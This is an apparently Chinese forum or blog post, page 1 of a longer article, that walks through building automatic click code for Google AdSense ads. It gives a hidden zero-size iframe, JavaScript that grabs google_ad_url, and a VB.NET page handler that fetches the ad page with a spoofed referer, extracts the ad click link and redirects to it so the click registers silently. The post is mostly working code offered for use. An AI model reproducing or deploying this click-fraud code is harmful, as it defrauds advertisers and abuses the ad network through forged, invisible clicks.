作者:tfls971
首先来看AdSense for content提供的连接代码
Codz:
<script type="text/javascript"><!-- google_ad_client = "pub-****************"; google_ad_width = 300; google_ad_height = 250; google_ad_format = "300x250_as"; google_ad_type = "text"; google_ad_channel = ""; google_color_border = "336699"; google_color_bg = "FFFFFF"; google_color_link = "0000FF"; google_color_text = "000000"; google_color_url = "008000"; //--></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
|
下载show_ads.js分析后开始自行构造自动点击代码。
先建立一个空的IFRAME
Codz:
<iframe id="i1" name="i1" src="" width="0" height="0" scrolling="no" frameborder="0"></iframe>
|
然后在IFRAME下方添加以下代码
Codz:
<script> var a=window; document.Form1.t1.value=a.google_ad_url; document.getElementById('i1').src='webform2.aspx?google_url=' + document.Form1.t1.value; </script>
|
在WebFrom2.aspx的Page_Load事件中添加以下代码
Codz:
Dim rs As Integer Dim htmlStr As String Dim hxml As New MSXML2.XMLHTTP Private objcontext As HttpContext Dim i, queryCount As Integer Dim url As String
queryCount = Request.QueryString.Count url = Request.QueryString.Item("google_url").ToString
'获取GOOGLE生成的广告页面的URL For i = 1 To queryCount - 1 If Request.QueryString.GetKey(i) = "url" Then url = url + "&" + "url=http%3A%2F%2Fwww.65535.cn%2Findex.htm" Else url = url + "&" + Request.QueryString.GetKey(i) + "=" + Request.QueryString.Item
(Request.QueryString.GetKey(i)) End If Next
'获取GOOGLE生成的广告页面HTML代码 hxml.open("get", url, False) hxml.setRequestHeader("referer", "http%3A%2F%2Fwww.65535.cn%2Findex.htm") hxml.send() htmlStr = hxml.responseText
Dim a1, a2, a3, Url_Link, Url_Link1 As String Dim slink() As String Dim url_head As String Dim i1, i2, i3 As Integer
'截取广告地址 url = "http://pagead2.googlesyndication.com" a1 = "<a id=""aw0"" target=""_top"" href=""" a1 = "/pagead/iclk" a2 = "'aw0')"" onClick=""ha('aw0')""" a3 = "onFocus" a3 = "nm=0"
i1 = htmlStr.IndexOf(a1) i2 = htmlStr.IndexOf(a2) i3 = htmlStr.IndexOf(a3)
Url_Link = htmlStr.Substring(i1) slink = Url_Link.Split("""") url = url + slink(0) Response.Redirect(url)
|
原理:通过得到show_ads.js中a.google_ad_url,然后对其源代码截取,取得广告地址,然后访问。
[1] [2] 下一页